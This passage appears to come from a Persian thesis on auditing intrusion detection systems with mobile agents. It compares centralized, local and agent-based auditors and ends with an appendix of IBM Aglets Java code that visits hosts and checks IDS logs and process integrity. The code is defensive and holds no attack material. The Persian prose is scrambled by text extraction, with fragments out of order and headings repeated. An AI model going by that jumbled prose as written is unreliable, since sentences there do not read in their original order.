نفوذ  هاي تشخيص در اين موارد بايد از سيستم. ممكن است با بررسي ترافيك شبكه نيز آن حمله تشخيص داده نشود

هاي  ها در ديد كلي به اين ترتيب است كه در اطلاعات ميزبان نه سيستمروش عملكرد اينگو. شده استفاده كرد توزيع

تواند  اين عمل مي. شود گيرد و بر اساس آن حملات تشخيص داده مي مختلف شبكه به صورت يكجا مورد بررسي قرار مي

تواند مفيد  اين حالت مينقطه در -به- و نقطهclient/serverبراي مثال استفاده از مدل . هاي گوناگوني انجام شود به روش

. هاي متحرك است شده را تشخيص داد استفاده از عامل توان حملات توزيع مدل ديگري كه بر اساس آن مي. باشد

كنند و توانايي منتقل شدن از روي يك سيستم به  هايي هستند كه به صورت خودمختار عمل مي هاي متحرك برنامه عامل

  .سيستم ديگر در شبكه را دارند

ها به هر دليل از  شود، اما اگر اين سيستم نفوذ تا حد خوبي ايجاد مي هاي تشخيص نيت يك شبكه با استفاده از سيستمام

اين مساله نياز به وجود بازرسي را به منظور . شود عملكرد صحيح متوقف شوند در نظام امنيتي شبكه مشكل ايجاد مي

ها عبارتند از  اين شيوه. هاي مختلفي ايجاد كرد توان به شيوه سي را ميبازر. كند نفوذ ايجاد مي هاي تشخيص بررسي سيستم

هاي مختلفي كه براي  با استفاده از آزمايش. هاي متحرك ، روش محلي و استفاده از عاملclient/serverروش متمركز يا 

ز لحاظ ميزان مصرف منابع روش محلي در مقايسه با دو روش ديگر ا. مقايسه اين سه حالت انجام شد نتايجي به دست آمد

ها از روش متمركز  همچنين در مقابل خرابي. كند سيستم، ميزان بار شبكه و زمان پاسخ به صورت كارامدتري عمل مي

مشكلي كه اين دسته از . كنند مشابه بازرس مبتني بر عامل متحرك است كه در مقايسه با روش متمركز بهتر عمل مي

ييرات ديناميكي آن است، به اين معني كه در صورت نياز به تغيير مكانيزم كار لازم است تا ها دارد عدم قابليت تغ بازرس

با توجه به اين مطالب استفاده از اينگونه . گير است ها به صورت جداگانه تغيير كنند كه اين يك عمل زمان تمام بازرس
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 روش single point of failueلت داشتن هاي متمركز به ع سيستم. هاي كوچك بهترين روش است ها در شبكه بازرس

ها در مقايسه با روش محلي داراي مشكلاتي است كه ميزان  روش بازرس مبتني بر عامل. باشد مناسبي براي بازرسي نمي

مزيت اين روش . باشد البته اين بار در كل مقدار قابل توجهي نمي. باشد مصرف منابع و ميزان بار شبكه از جمله آنها مي

توان گفت كه استفاده از اين روش در  به اين ترتيب مي. ابل روش محلي امكان تغيير ديناميكي سيستم استدر مق

  . هاي بزرگ روش مناسبي خواهد بود شبكه

هاي مبتني بر  اي به اين ترتيب حاصل شد كه زمان پاسخ بازرس اي كه بين بسترهاي مختلف انجام شد نتيجه در مقايسه

  .كند  بدترين جواب را ايجاد ميWindows-Windows بهترين جواب و در Linux-Linuxعامل در بسترهاي 

تواند  دو پارامتر در اين بين مي. توان تعداد متفاوتي بازرس را بر روي شبكه ارسال كرد با توجه به وسعت شبكه مي

مشخص است كه بهترين .  شبكهاين دو پارامتر عبارتند از زمان پاسخ و ميزان ترافيك. ها را تعيين كند تعداد بازرس

با توجه به اين مورد و انجام آزمايشات . شود كه اين دو مقدار كمتريم مقدار خود را داشته باشند جواب زماني پيدا مي

علاوه بر اين . توان به ترتيبي انتخاب كرد كه به هر بازرس تعداد مساوي ميزبان برسد ها را مي صورت گرفته تعداد بازرس

هاي  كه يك بازرس كل شبكه را بازرسي كند و يا آنكه هر ميزبان را يك بازرس بررسي كند جواب رتيحالت در صو

  .هاي مورد نظر مدير شبكه دارد انتخاب تعداد مورد نظر با در نظر گرفتن شرط فوق بستگي به سياست. دهند مساعدي را مي
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  ۱ضميمه 
  :شود سازي شده در اين پروژه آورده مي هاي پياده در اين ضميمه ليست برنامه

  )عامل متحرك(كننده تشخيص حمله   بازرس بررسي-۱
 كنندهكنندهكنندهكننده    كد توزيعكد توزيعكد توزيعكد توزيع •

package MA; 
import com.ibm.aglet.*; 
import com.ibm.aglet.event.*; 
import java.net.*; 
import java.io.*; 
 
public class ProcessAudit extends Aglet { 
   public static final int MAX_ATTACK = 10; 
    String baseAddress = new String(); 
    int idsNum = 0; 
    String[] host; 
    String[] idsName; 
    String[] idsInfo; 
    int attackIdsNum = 0; 
    String[] attackIdsInfo; 
    int position = 0; 
    int posCount = 0; 
    String resultMsg = new String(); 
 
    class AttackWarning { 
        public String attack = new String(); 
        public String warning = new String(); 
        public boolean result; 
        public String toString() { 
            return attack + " " + warning + " " + result; 
        } 
    }; 
    //------------------------------- 
 
    public void onCreation(Object o) { 
        String str = new String(); 
        int index1 = 0, index2 = -1; 
 
        addMobilityListener(new MobilityAdapter() { 
            public void onArrival(MobilityEvent e) { 
                if (position == 1) { 
          checkIdsInfo(); 
       if (posCount < idsNum - 1) { 
         try { 
                    posCount++; 
                    dispatch(new URL(new String("atp://" + host[posCount]))); 
          } catch(Exception ex) { 
  System.out.println("can not dispatch ..."); 
  System.out.println("atp://" + host[posCount]); 
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  dispose(); 
          } 
       } else { 
          try { 
  position = 0; 
  dispatch(new URL(new String("atp://" + baseAddress))); 
          } catch(Exception ex) { 
  System.out.println("can not dispatch ..."); 
  System.out.println("atp://" + baseAddress); 
  dispose(); 
         } 
      } 
 } else { 
    System.out.println(resultMsg); 
        } 
          } 
    }); 
    
    if (this.position == 0) { 
       this.baseAddress = (String)((Object[])o)[0]; 
       Integer n = (Integer)((Object[])o)[1]; 
       this.attackIdsNum = n.intValue(); 
       n = (Integer)((Object[])o)[2]; 
       this.idsNum = n.intValue(); 
       this.idsInfo = new String[this.idsNum]; 
       this.idsName = new String[this.idsNum]; 
       this.host = new String[this.idsNum]; 
       this.attackIdsInfo = new String[this.attackIdsNum]; 
       for (int i = 0; i < this.idsNum; i++) { 
          str = (String)((Object[])o)[3 + i]; 
          for (int j = 0; j < 3; j++) { 
             index1 = index2 + 1; 
             index2 = str.indexOf(' ', index1); 
            switch (j) { 
  case 0: 
            this.host[i] = new String(str.substring(index1, index2)); 
             break; 
        case 1: 
              this.idsName[i] = new String(str.substring(index1, index2)); 
              break; 
         case 2: 
              this.idsInfo[i] = new String(str.substring(index1)); 
              break; 
        } 
           } 
       } 
 
       for (int i = 0; i < this.attackIdsNum; i++) { 
          str = (String)((Object[])o)[3 + this.idsNum + i]; 
          this.attackIdsInfo[i] = new String(str); 
       } 
 
       this.position = 1; 
       this.sortHost(); 
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      try { 
          setText("man raftam..."); 
         dispatch(new URL(new String("atp://" + this.host[0]))); 
      } catch(Exception e) { 
         System.out.println(e); 
        dispose(); 
      } 
   } 
} 
//------------------------------- 
 
void sortHost() { 
   for (int i = 0; i < this.idsNum; i++) 
      for (int j = i; j < this.idsNum; j++) 
          if (this.host[i].compareTo(this.host[j]) > 0) { 
 String temp; 
 temp = this.host[i]; 
 this.host[i] = this.host[j]; 
 this.host[j] = temp; 
 temp = this.idsName[i]; 
 this.idsName[i] = this.idsName[j]; 
 this.idsName[j] = temp; 
 temp = this.idsInfo[i]; 
 this.idsInfo[i] = this.idsInfo[j]; 
 this.idsInfo[j] = temp; 
          } 
} 
//------------------------------- 
 
void checkIdsInfo() { 
    String tempHost = this.host[this.posCount]; 
    String tempIdsInfo = new String(); 
    String tempIdsName = new String(); 
 
    while (true) { 
        if (tempHost.compareTo(this.host[this.posCount]) != 0) 
            break; 
        tempIdsInfo = this.idsInfo[this.posCount]; 
        tempIdsName = this.idsName[this.posCount]; 
        createResultMsg(this.doProcess(tempIdsInfo, tempIdsName)); 
        this.posCount++; 
         if (this.posCount == this.idsNum) 
             break; 
     } 
} 
//------------------------------- 
 
boolean doProcess(String info, String name) { 
    int num = 0, index1 = 0, index2 = 0, midIndex;; 
    String str; 
    AttackWarning[] attackWarning = new AttackWarning[ProcessAudit.MAX_ATTACK]; 
    int attackWarningNum; 
    FileReader fileReader = null; 
    BufferedReader bufferReader = null; 
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    try { 
         fileReader = new FileReader(info); 
         bufferReader = new BufferedReader(fileReader); 
     } catch(Exception e) { 
         System.out.println("\ncan not open input file ..."); 
     } 
 
     for (int i = 0; i < this.attackIdsNum; i++) 
          if (this.attackIdsInfo[i].indexOf(name) != -1) { 
 num = i; 
 break; 
          } 
     
          str = this.attackIdsInfo[num]; 
          attackWarningNum = 0; 
          while (true) { 
    index1 = str.indexOf('(', index2); 
    index2 = str.indexOf(')', index1); 
    midIndex = str.indexOf(' ', index1); 
    if (index1 == -1 || index2 == -1) 
          break; 
    attackWarning[attackWarningNum] = new AttackWarning(); 
    attackWarning[attackWarningNum].attack = str.substring(index1 + 1, midIndex); 
    attackWarning[attackWarningNum].warning = str.substring(midIndex + 1, index2); 
    attackWarning[attackWarningNum].result = false; 
   attackWarningNum++; 
         } 
         return checkData(bufferReader, attackWarning, attackWarningNum); 
 } 
 //------------------------------- 
 
boolean checkData(BufferedReader bufferReader,AttackWarning[] attackWarning, int attackWarningNum) 
{ 
   int i; 
   try { 
      String s; 
      while ((s = bufferReader.readLine()) != null) { 

         for (i = 0; i < attackWarningNum; i++) 
            if (attackWarning[i].result == false) 
               break; 
            if (i == attackWarningNum) 
   return true; 
            for (i = 0; i < attackWarningNum; i++) 
       if (s.indexOf(attackWarning[i].warning) != -1) 
            attackWarning[i].result = true; 
       } 
 
       for (i = 0; i < attackWarningNum; i++) 
           if (attackWarning[i].result == false) 
    break; 
       if (i == attackWarningNum) 
    return true; 
    } catch (IOException e) { 
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        System.out.println("\ncan nor read from file ..."); 
    } 
    return false; 
} 
//------------------------------- 
 
void createResultMsg(boolean result) { 
    this.resultMsg += "IDS (" + this.idsName[this.posCount] + ") working is: " + result + " ...\n"; 
}  
 //------------------------------- 
   public void run() { 
   }  
} 
 

 كد بازرسكد بازرسكد بازرسكد بازرس •

package MA; 
import java.io.*; 
import com.ibm.aglet.*; 
import com.ibm.aglet.event.*; 
 
class IdsInfo { 
   public String hostIp = new String(); 
   public String idsName = new String(); 
   public String idsLogFile = new String(); 
 
   public String toString() { 
      return this.hostIp + " " + this.idsName + " " + this.idsLogFile; 
   } 
}; 
//----------------------------------- 
 
class AuditIdsInfo { 
   public static final int MAX_HOST = 10; 
   int auditNum = 0; 
   String[] idsInfo = new String[AuditIdsInfo.MAX_HOST]; 
   int idsNum = 0; 
    //--------------------------------- 
   
    public void setAuditNum(int num) { 
       this.auditNum = num; 
    } 
    //--------------------------------- 
   
    public void setIdsInfo(String info) { 
       this.idsInfo[this.idsNum] = new String(); 
       this.idsInfo[this.idsNum++] = info; 
    } 
    //--------------------------------- 
     
    public int getAuditNum() { 
       return this.auditNum; 
    } 
    //--------------------------------- 
   
    public int getIdsNum() { 
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       return this.idsNum; 
    } 
    //--------------------------------- 
     
    public String getIdsInfo(int num) { 
       return this.idsInfo[num]; 
    } 
}; 
//----------------------------------- 
 
class AuditInfo { 
   String baseAddress = new String(); 
   AuditIdsInfo[] auditInfo; 
   int auditNum = 0; 
   int delay; 
    String section = new String(); 
    FileReader fileInput = null; 
    BufferedReader fileInputBuf = null; 
    //--------------------------------- 
   
    public AuditInfo(String fileName) { 
       try { 
           this.fileInput = new FileReader(fileName); 
           this.fileInputBuf = new BufferedReader(this.fileInput); 
       } catch (FileNotFoundException e) { 
          System.out.println("file not found ..."); 
          System.exit(1); 
       } 
       this.readFile(); 
     } 
     //--------------------------------- 
   
     void readFile() { 
         String str; 
         try { 
       while ((str = this.fileInputBuf.readLine()) != null) 
       if (str.length() > 0) 
                  this.parseLine(str); 
         } catch (IOException e) { 
       System.out.println("Can not read ..."); 
         } 
    } 
    //--------------------------------- 
    
    void parseLine(String str) { 
       if (str.startsWith("[")) 
           this.section = str.substring(str.indexOf("[") + 1, str.indexOf("]")); 
        else if (this.section.equals("BASE")) 
           this.readBaseAddress(str); 
         else if (this.section.equals("AUDIT_NUM")) 
            this.readAuditNum(str); 
         else if (this.section.equals("IDS_INFO")) 
            this.readIdsInfo(str); 
         else if (this.section.equals("DELAY")) 
            this.readDelayInfo(str); 
    } 
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    //--------------------------------- 
   
    void readBaseAddress(String str) { 
        this.baseAddress = str; 
    } 
    //--------------------------------- 
   
    void readAuditNum(String str) { 
        this.auditNum = Integer.valueOf(str).intValue(); 
        this.auditInfo = new AuditIdsInfo[this.auditNum]; 
        for (int i = 0; i < this.auditNum; i++) 
            this.auditInfo[i] = new AuditIdsInfo(); 
    } 
    //--------------------------------- 
   
    void readIdsInfo(String str) { 
       int num = 0; 
       int index1 = 0, index2 = -1; 
        IdsInfo ids = new IdsInfo(); 
 
        for (int i = 0; i < 4; i++) { 
           index1 = index2 + 1; 
           index2 = str.indexOf(' ', index1); 
           switch (i) { 
       case 0: 
              num = Integer.valueOf(str.substring(index1, index2)).intValue(); 
              break; 
         case 1: 
              ids.hostIp = str.substring(index1, index2); 
              break; 
         case 2: 
              ids.idsName = str.substring(index1, index2); 
              break; 
          case 3: 
              ids.idsLogFile = str.substring(index1); 
               break; 
       } 
      } 
      this.auditInfo[num - 1].setIdsInfo(ids.toString()); 
     this.auditInfo[num - 1].setAuditNum(num); 
  } 
  //--------------------------------- 
   
  void readDelayInfo(String str) { 
     this.delay = Integer.valueOf(str).intValue(); 
  } 
  //--------------------------------- 
   
  public String getBaseAddress() { 
      return this.baseAddress; 
  } 
  //--------------------------------- 
   
   public int getAuditNum() { 
      return this.auditNum; 
  } 
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  //--------------------------------- 
 
   public int getDelay() { 
      return this.delay; 
   } 
   //--------------------------------- 
   
   public AuditIdsInfo getAuditIdsInfo(int num) { 
      return this.auditInfo[num]; 
  } 
} 
//----------------------------------- 
 
class AttackWarning { 
   public static final int ATTACK_NUM = 10; 
     String idsName = new String(); 
     String[] attack = new String[AttackWarning.ATTACK_NUM]; 
     String[] warning = new String[AttackWarning.ATTACK_NUM]; 
     int attackNum = 0; 
     //--------------------------------- 
   
     public void setIdsName(String name) { 
         this.idsName = name; 
     } 
     //--------------------------------- 
   
      public void setAttackWarning(String attack, String warning) { 
         this.attack[this.attackNum] = new String(attack); 
         this.warning[this.attackNum] = new String(warning); 
         this.attackNum++; 
      } 
      //--------------------------------- 
   
       public String getAttackWarningInfo() { 
          String info; 
          info = this.idsName + " "; 
          for (int i = 0; i < this.attackNum; i++) 
        info = info + "(" + this.attack[i] + " " + this.warning[i] + ") "; 
     return info; 
      } 
} 
//----------------------------------- 
 
class AttackInfo { 
   public static final int IDS_NUM = 4; 
   public static final String[] idsFileName = new String[] { 
       new String("d:\\1.txt"), 
       new String("d:\\2.txt"), 
       new String("d:\\3.txt"), 
       new String("d:\\4.txt")}; 
  AttackWarning[] attackWarning = new AttackWarning[AttackInfo.IDS_NUM]; 
  FileReader fileInput = null; 
  BufferedReader fileInputBuf = null; 
   int idsNum = 0; 
   //---------------------------------- 
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   public AttackInfo() { 
      for (int i = 0; i < AttackInfo.IDS_NUM; i++) 
         attackWarning[i] = new AttackWarning(); 
      for (int i = 0; i < AttackInfo.IDS_NUM; i++) { 
          try { 
 this.fileInput = new FileReader(idsFileName[i]); 
 this.fileInputBuf = new BufferedReader(this.fileInput); 
          } catch (FileNotFoundException e) { 
 System.out.println("file not found ..."); 
          } 
 this.readFile(); 
       } 
    } 
   //---------------------------------- 
 
   void readFile() { 
      String str; 
      try { 
          this.attackWarning[this.idsNum] = new AttackWarning(); 
          while ((str = this.fileInputBuf.readLine()) != null) 
         if (str.length() > 0) 
     this.parseLine(str); 
           this.idsNum++; 
           this.fileInput.close(); 
           this.fileInputBuf.close(); 
       } catch (IOException e) { 
           System.out.println("Can not read ..."); 
       } 
    } 
    //---------------------------------- 
 
    void parseLine(String str) { 
        int index1, index2; 
        String attack, warning; 
         
        if (str.indexOf('=') != -1) 
            this.attackWarning[this.idsNum].setIdsName(str.substring(str.indexOf('=') + 1)); 
        else { 
            index1 = str.indexOf(" "); 
            attack = str.substring(0, index1); 
            index1 = str.indexOf('"'); 
            index2 = str.indexOf('"', index1 + 1); 
            warning = str.substring(index1 + 1, index2); 
             this.attackWarning[this.idsNum].setAttackWarning(attack, warning); 
          } 
      } 
      //---------------------------------- 
 
      public String getAttackInfo(int index) { 
           if (index < AttackInfo.IDS_NUM) 
 return this.attackWarning[index].getAttackWarningInfo(); 
            return null; 
      } 
      //---------------------------------- 
 
      public int getIdsNum() { 
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           return this.idsNum; 
      } 
}; 
//----------------------------------- 
 
public class AgletAudit extends Aglet{ 
     public static final int MAX_OBJ = 20; 
     AuditInfo auditInfo = null; 
     AttackInfo attackInfo = null; 
     //---------------------------------- 
   
     void createAudit() { 
         int auditNum = auditInfo.getAuditNum(); 
         AuditIdsInfo auditIdsInfo = new AuditIdsInfo(); 
 
         Object[][] o = new Object[auditNum][AgletAudit.MAX_OBJ]; 
         for (int i = 0; i < auditNum; i++) { 
            auditIdsInfo = auditInfo.getAuditIdsInfo(i); 
            o[i][0] = new String(this.auditInfo.getBaseAddress()); 
            o[i][1] = new Integer(attackInfo.IDS_NUM); 
            o[i][2] = new Integer(auditIdsInfo.getIdsNum()); 
            for (int j = 0; j < auditIdsInfo.getIdsNum(); j++) 
     o[i][3 + j] = new String(auditIdsInfo.getIdsInfo(j)); 
            for (int j = 0; j < this.attackInfo.getIdsNum(); j++) 
     o[i][3 + auditIdsInfo.getIdsNum() + j] = new String(this.attackInfo.getAttackInfo(j)); 
          } 
 
          while (true) { 
 for (int i = 0; i < auditNum; i++) 
     try { 
                AgletContext cxt = getAgletContext(); 
                AgletProxy proxy = cxt.createAglet(null, "MA.ProcessAudit", o[i]); 
         } catch(Exception e) { 
                System.out.println("can not create new agent ..."); 
                System.exit(1); 
           } 
       try { 
     Thread.sleep(this.auditInfo.getDelay()); 
 } catch(Exception e) { 
     System.out.println("can not sleep ..."); 
     System.exit(1); 
 } 
           } 
     } 
     //---------------------------------- 
   
     public void run() { 
          this.auditInfo = new AuditInfo("d:\\conf.txt"); 
          this.attackInfo = new AttackInfo(); 
          this.createAudit(); 
     } 
} 
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 )عامل متحرك(ننده صحت فرايند ك  بازرس بررسي-۲
 كنندهكنندهكنندهكننده    توزيعتوزيعتوزيعتوزيع •

package audit; 
 
import java.io.*; 
import com.ibm.aglet.*; 
import com.ibm.aglet.event.*; 
 
class IdsInfo { 
   public String hostIp = new String(); 
   public String idsName = new String(); 
   public String infoLoc = new String(); 
   public String toString() { 
      return hostIp + " " + idsName + " " + infoLoc; 
  } 
}; 
//--------------------------------------------------------- 
 
class AuditInfo { 
   public static final int MAX_HOST = 10; 
   int auditNum; 
   String[] idsInfo = new String[AuditInfo.MAX_HOST]; 
   int idsNum = 0; 
   //---------------------------------- 
   
   public AuditInfo() { 
      for (int i = 0; i < AuditInfo.MAX_HOST; i++) 
         this.idsInfo[i] = new String(); 
   } 
   //---------------------------------- 
   
   public void setAuditNum(int num) { 
      this.auditNum = num; 
   } 
   //---------------------------------- 
   
   public void setIdsInfo(String map) { 
      this.idsInfo[this.idsNum++] = map; 
   } 
   //---------------------------------- 
   
   public int getIdsNum() { 
      return this.idsNum; 
   } 
   //---------------------------------- 
   
   public String getIdsInfo(int num) { 
      return this.idsInfo[num]; 
   } 
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}; 
//--------------------------------------------------------- 
 
 
public class AgletAudit extends Aglet { 
   public static final int MAX_OBJ = 20; 
   AuditInfo[] auditInfo; 
   int auditNum = 0; 
   int delay = 0; 
    String baseAddress = new String(); 
    String section = new String(); 
    FileReader fileInput = null; 
    BufferedReader fileInputBuf = null; 
    //---------------------------------- 
   
    void Init(String fileName) { 
       try { 
         this.fileInput = new FileReader(fileName); 
         this.fileInputBuf = new BufferedReader(this.fileInput); 
       } catch (FileNotFoundException e) { 
         System.out.println("file not found ..."); 
         System.exit(1); 
       } 
       this.readFile(); 
   } 
   //---------------------------------- 
   
  void readFile() { 
      String str; 
      try { 
         while ((str = this.fileInputBuf.readLine()) != null) 
            if (str.length() > 0) 
                this.parseLine(str); 
       }catch (IOException e) { 
         System.out.println("Can not read ..."); 
       } 
  } 
  //---------------------------------- 
   
 void parseLine(String str) { 
    if (str.startsWith("[")) 
       this.section = str.substring(str.indexOf("[") + 1, str.indexOf("]")); 
    else if (this.section.equals("BASE")) 
       this.readBaseAddress(str); 
    else if (this.section.equals("AUDIT_NUM")) 
       this.readAuditNum(str); 
    else if (this.section.equals("IDS_INFO")) 
       this.readIdsInfo(str); 
    else if (this.section.equals("DELAY")) 
       this.readDelayInfo(str); 
  } 
  //---------------------------------- 
   
  void readBaseAddress(String str) { 
     this.baseAddress = str; 
  } 



  ١٣٣

  //---------------------------------- 
   
  void readAuditNum(String str) { 
     this.auditNum = Integer.valueOf(str).intValue(); 
     this.auditInfo = new AuditInfo[this.auditNum]; 
     for (int i = 0; i < this.auditNum; i++) 
        this.auditInfo[i] = new AuditInfo(); 
  } 
  //---------------------------------- 
     void readIdsInfo(String str) { 
       int num = 0; 
       int index1 = 0, index2 = -1; 
       IdsInfo ids = new IdsInfo(); 
 
       for (int i = 0; i < 4; i++) { 
          index1 = index2 + 1; 
          index2 = str.indexOf(' ', index1); 
          switch (i) { 
          case 0: 
                  num = Integer.valueOf(str.substring(index1, index2)).intValue(); 
               break; 
         case 1: 
               ids.hostIp = str.substring(index1, index2); 
               break; 
         case 2: 
               ids.idsName = str.substring(index1, index2); 
               break; 
         case 3: 
               ids.infoLoc = str.substring(index1); 
               break; 
       } 
          } 
          this.auditInfo[num - 1].setIdsInfo(ids.toString()); 
          this.auditInfo[num - 1].setAuditNum(num); 
  } 
  //---------------------------------- 
   
  void readDelayInfo(String str) { 
     this.delay = Integer.valueOf(str).intValue(); 
  } 
  //---------------------------------- 
   
  void createAudit() { 
     Object[][] o = new Object[this.auditNum][AgletAudit.MAX_OBJ]; 
     for (int i = 0; i < this.auditNum; i++) { 
         o[i][0] = new String(this.baseAddress); 
         o[i][1] = new Integer(this.auditInfo[i].getIdsNum()); 
         for (int j = 0; j < this.auditInfo[i].getIdsNum(); j++) 
             o[i][2 + j] = new String(this.auditInfo[i].getIdsInfo(j)); 
    } 
     
    while (true) { 
        for (int i = 0; i < this.auditNum; i++) 
            try { 
      AgletContext cxt = getAgletContext(); 
      AgletProxy proxy = cxt.createAglet(null, "audit.ProcessAudit", o[i]); 



  ١٣٤

            } catch(Exception e) { 
          System.out.println("can not create new agent ..."); 
          System.exit(1); 
            } 
        try { 
 Thread.sleep(this.delay); 
        } catch(Exception e) { 
 System.out.println("can not sleep ..."); 
 System.exit(1); 
        } 
     } 
   } 
   //---------------------------------- 
 
   public void run() { 
      this.Init("d:\\conf.txt"); 
      this.createAudit(); 
   } 
} 

 
 

 
 بازرسبازرسبازرسبازرس •

package audit; 
 
import com.ibm.aglet.*; 
import com.ibm.aglet.event.*; 
import java.net.*; 
import java.io.*; 
 
public class ProcessAudit extends Aglet { 
 public static final int MAX_DATA = 100; 
 public static final String AUDIT_FILE = new String("d:\\audit.txt"); 
 String baseAddress = new String(); 
   int idsNum = 0; 
   String[] idsName; 
   String[] idsInfo; 
   String[] host; 
 
   int position = 0; 
   int posCount = 0; 
   int resultIndex = 0; 
   String resultMsg = new String(); 
   String auditMsg = new String(); 
 
   String[] command = new String[ProcessAudit.MAX_DATA]; 
    int[] pid = new int[ProcessAudit.MAX_DATA]; 
    int[] ppid = new int[ProcessAudit.MAX_DATA]; 
    String[] user = new String[ProcessAudit.MAX_DATA]; 
    float[] cpu = new float[ProcessAudit.MAX_DATA]; 
    float[] mem = new float[ProcessAudit.MAX_DATA]; 
    String[] state = new String[ProcessAudit.MAX_DATA]; 
    String[] cfgMD5 = new String[ProcessAudit.MAX_DATA]; 
    String[] codeMD5 = new String[ProcessAudit.MAX_DATA]; 
    int dataNum = 0; 
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    long currentTime; 
 //------------------------------- 
 
 public void onCreation(Object o) { 
     String str = new String(); 
     int index1 = 0, index2 = -1; 
 
  this.currentTime = System.currentTimeMillis(); 
  addMobilityListener(new MobilityAdapter() { 
   public void onArrival(MobilityEvent e) { 
          if (position == 1) { 
     checkProcessInfo(); 
     if (posCount < idsNum - 1) { 
      try { 
                  posCount++; 
                  dispatch(new URL(new String("atp://" + host[posCount]))); 
      } catch(Exception ex) { 
       System.out.println("can not dispatch ..."); 
       dispose(); 
      } 
     } else { 
      try { 
       position = 0; 
       dispatch(new URL(new String("atp://" + baseAddress))); 
      } catch(Exception ex) { 
       System.out.println("can not dispatch ..."); 
       dispose(); 
      } 
     } 
    } else { 
     long time = System.currentTimeMillis() - currentTime; 
             System.out.println(resultMsg); 
             saveAuditMsg(); 
             System.out.println("response time: " + time); 
             currentTime = System.currentTimeMillis(); 
    } 
        } 
  }); 
 
  if (this.position == 0) { 
   this.baseAddress = (String)((Object[])o)[0]; 
   Integer n = (Integer)((Object[])o)[1]; 
   this.idsNum = n.intValue(); 
        this.idsInfo = new String[this.idsNum]; 
        this.idsName = new String[this.idsNum]; 
        this.host = new String[this.idsNum]; 
   for (int i = 0; i < this.idsNum; i++) { 
    str = (String)((Object[])o)[2 + i]; 
          for (int j = 0; j < 3; j++) { 
             index1 = index2 + 1; 
             index2 = str.indexOf(' ', index1); 
             switch (j) { 
               case 0: 
                  host[i] = str.substring(index1, index2); 
                  break; 
               case 1: 
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                  idsName[i] = str.substring(index1, index2); 
                  break; 
               case 2: 
                  idsInfo[i] = str.substring(index1); 
                  break; 
             } 
          } 
        } 
 
 
   this.position = 1; 
   this.sortHost(); 
 
   try { 
    dispatch(new URL(new String("atp://" + this.host[0]))); 
   } catch(Exception e) { 
    System.out.println(e); 
    dispose(); 
   } 
  } 
 } 
 //------------------------------- 
 
 void sortHost() { 
  for (int i = 0; i < this.idsNum; i++) 
   for (int j = i; j < this.idsNum; j++) 
    if (this.host[i].compareTo(this.host[j]) > 0) { 
     String temp; 
     temp = this.host[i]; 
     this.host[i] = this.host[j]; 
     this.host[j] = temp; 
 
     temp = this.idsName[i]; 
     this.idsName[i] = this.idsName[j]; 
     this.idsName[j] = temp; 
 
     temp = this.idsInfo[i]; 
     this.idsInfo[i] = this.idsInfo[j]; 
     this.idsInfo[j] = temp; 
    } 
 } 
 //------------------------------- 
 
 void checkProcessInfo() { 
  String tempHost = this.host[this.posCount]; 
     String tempIdsInfo = new String(); 
 
  while (true) { 
   if (tempHost.compareTo(this.host[this.posCount]) != 0) 
    break; 
     tempIdsInfo = this.idsInfo[this.posCount]; 
     this.createResultMsg(this.doProcess(tempIdsInfo)); 
     this.createAuditMsg(this.resultIndex); 
        this.posCount++; 
     if (this.posCount == this.idsNum) 
    break; 
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    } 
 } 
 //------------------------------- 
 
 boolean doProcess(String info) { 
     int count = 0; 
     int idsDataIndex = 0; 
     FileReader fileReader = null; 
     BufferedReader bufferReader = null; 
 
     try { 
      fileReader = new FileReader(info); 
        bufferReader = new BufferedReader(fileReader); 
     } catch(Exception e) { 
        System.out.println("\ncan not open input file ..."); 
     } 
 
     try { 
        String s; 
        this.dataNum = 0; 
        while ((s = bufferReader.readLine()) != null) { 
          this.parseData(s); 
          this.dataNum++; 
   } 
       } catch (IOException e) { 
        System.out.println("\ncan not read from file ..."); 
     } 
 
     return this.checkData(); 
  } 
   //------------------------------- 
 
   void parseData(String s) { 
     int index1 = 0, index2 = -1; 
 
     for (int i = 0; i < 9; i++) { 
        index1 = index2 + 1; 
        index2 = s.indexOf(' ', index1); 
        switch (i) { 
          case 0: 
             this.command[this.dataNum] = s.substring(index1, index2); 
             break; 
          case 1: 
             this.pid[this.dataNum] = Integer.valueOf(s.substring(index1, index2)).intValue(); 
             break; 
          case 2: 
             this.ppid[this.dataNum] = Integer.valueOf(s.substring(index1, index2)).intValue(); 
             break; 
          case 3: 
             this.user[this.dataNum] = s.substring(index1, index2); 
             break; 
          case 4: 
             this.cpu[this.dataNum] = Float.valueOf(s.substring(index1, index2)).floatValue(); 
             break; 
          case 5: 
             this.mem[this.dataNum] = Float.valueOf(s.substring(index1, index2)).floatValue(); 



  ١٣٨

             break; 
          case 6: 
             this.state[this.dataNum] = s.substring(index1, index2); 
             break; 
          case 7: 
             this.cfgMD5[this.dataNum] = s.substring(index1, index2); 
             break; 
          case 8: 
             this.codeMD5[this.dataNum] = s.substring(index1); 
             break; 
        } 
     } 
   } 
   //------------------------------- 
 
   boolean checkData() { 
     float mem = 0, cpu = 0; 
     boolean flag = true; 
 
     for (int i = 1; i < this.dataNum; i++) 
        if (this.pid[0] != this.pid[i] || 
            this.ppid[0] != this.ppid[i] || 
            !this.user[0].equals(this.user[i])  || 
            this.state[i].equals("Z") || 
            !this.cfgMD5[0].equals(this.cfgMD5[i]) || 
            !this.codeMD5[0].equals(this.codeMD5[i])) { 
            this.resultIndex = i; 
 
          return false; 
      } 
 
  this.resultIndex = this.dataNum - 1; 
     for (int i = 0; i < this.dataNum; i++) { 
        mem += this.mem[i]; 
        cpu += this.cpu[i]; 
     } 
     if ((mem / this.dataNum) > 50 || (cpu / this.dataNum) > 50) 
         return false; 
 
     return true; 
   } 
 //------------------------------- 
 
 void createAuditMsg(int num) { 
  this.auditMsg = "User: " + this.user[num] + 
         "\nProcess ID: " + this.pid[num] + " Parent ID: " + this.ppid[num] + 
         "\nState: " + this.state[num] + 
         "\nProcess CRC: " + this.codeMD5[num] + " Config CRC: " + this.cfgMD5[num] + "\n"; 
 } 
   //------------------------------- 
 void createResultMsg(boolean result) { 
     this.resultMsg += "IDS (" + this.idsName[this.posCount] + ") working is: " + result + " ...\n"; 
 } 
 //------------------------------- 
 void saveAuditMsg() { 
  byte buffer[] = this.auditMsg.getBytes(); 
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     try { 
    OutputStream auditFile = new FileOutputStream(ProcessAudit.AUDIT_FILE, true); 
    auditFile.write(buffer); 
    auditFile.close(); 
     } catch (Exception e) { 
        System.out.println("can write data ..."); 
        System.exit(1); 
     } 
    } 
 //------------------------------- 
 public void run() { 
 } 
 
}  

 )محلي(كننده صحت فرايند   بازرس بررسي-۳
• Server 

import java.net.*; 
